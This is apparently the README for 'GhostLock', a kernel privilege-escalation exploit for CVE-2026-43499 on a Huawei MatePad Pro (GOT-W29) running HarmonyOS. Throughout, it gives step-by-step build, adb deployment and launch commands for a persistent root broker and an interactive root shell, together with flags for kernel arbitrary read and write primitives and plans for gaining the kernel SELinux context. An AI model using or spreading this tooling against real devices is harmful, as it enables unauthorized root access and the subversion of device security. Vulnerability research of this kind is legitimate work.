GhostLock GOT-W29

HUAWEI MatePad Pro 11（GOT-W29，SM8250 / Snapdragon 870，HarmonyOS 4.x， kernel 4.19.157-perf+）的 CVE-2026-43499 提权适配。

Current status:

• A 路线真机完成：合法 private root cred，SELinux 保持 u:r:shell:s0
• 持久 root broker：@gl_su
• 完整 PTY root shell：Ctrl-C、方向键、后台作业控制均可用
• arbitrary read 使用独立 random/uuid ctl_table，不修改 boot_id 和 ashmem 节点
• App 冷启动验证通过
• B 路线（u:r:kernel:s0 + full caps）仍是 TODO

For the complete principles, offsets, failure modes, and history, see TECHNICAL.md.

Build

cd exploit/ghostlock-source
make -j3

Artifacts:

exploit/ghostlock-source/build/bin/ghostlock_exe

当前机器使用 NDK sysroot + host clang 交叉编译，详见 exploit/ghostlock-source/TOOLCHAIN.md。

Launching on a real device

adb push exploit/ghostlock-source/build/bin/ghostlock_exe /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock_exe

Start the A-route broker:

adb shell /data/local/tmp/ghostlock_exe \
  --su-server --simple-root --fake-lock-window \
  --detach --probe-cycle --no-rt --attempts 1 \
  --leak-timeout 60 --fsync \
  --log-file /sdcard/ghostlock-su.log

On success, the log contains:

simple-root: LEGAL ROOT uid=0 euid=0 ctx=u:r:shell:s0
su: uid=0 euid=0 serving on abstract @gl_su

Usage

From another adb shell, run:

adb shell /data/local/tmp/ghostlock_exe --rsh STATUS
adb shell /data/local/tmp/ghostlock_exe --rsh id
adb shell /data/local/tmp/ghostlock_exe --rsh 'your command'

An interactive root shell must use -t:

adb shell -t /data/local/tmp/ghostlock_exe --rsh-shell

The broker allocates a real controlling terminal for the shell, so tty should show /dev/pts/N, and Ctrl-C, arrow keys, jobs, and foreground/background switching all work normally.

Safety notes

• --fake-lock-window and --detach are the key parameters for safe operation on a real device.
• Do not use --hold; do not directly use kill -9 to terminate a worker that has already consumed a dangling waiter.
• A failed attempt may trigger an oops/panic; keep --attempts 1 on a real device.
• To clean up a detached worker, reboot the device.
• --verify-write, --verify-read, and --verify-all are boot_id write-primitive self-checks, and will corrupt the boot_id high 8 bytes; they should only be run in QEMU or when the risk is explicitly accepted.
• Do not use --escalate in place of the A route; it is reserved for B-route research and carries cred lifetime risks.

QEMU

cd tools/qemu-test
GLMODE="--simple-root --detach" GDB=0 ./build_and_run.sh
./read_log.py --wait 240 --until 'simple-root: LEGAL ROOT|simple-root: failed'

For QEMU details, see tools/qemu-test/README.md.

B route TODO

Goal: obtain u:r:kernel:s0 and full capabilities.

To be resolved:

• cred/security 生命周期和 RCU 回收
• kernel 域 exec 用户态程序
• kernel 域 socket bind / mount / 文件访问策略
• fork root child 与 SID 继承
• permissive/SID 修复是否会引入全局副作用

Main parameters

--simple-root             A route privilege escalation
--su-server               start the root broker
--rsh CMD                 execute a single command
--rsh-shell               full PTY interactive shell
--fake-lock-window        use a stack-private fake lock (recommended on a real device)
--detach                  permanently keep alive the worker that consumed the waiter
--probe-cycle             the EDEADLK trigger method that is currently stable on the kernel
--no-rt                   avoid RT waiters starving CFS
--attempts 1              do not retry after failure on a real device
--log-file PATH           persistent log
--fsync                   flush final-result writes to disk

--help lists all self-check and research parameters.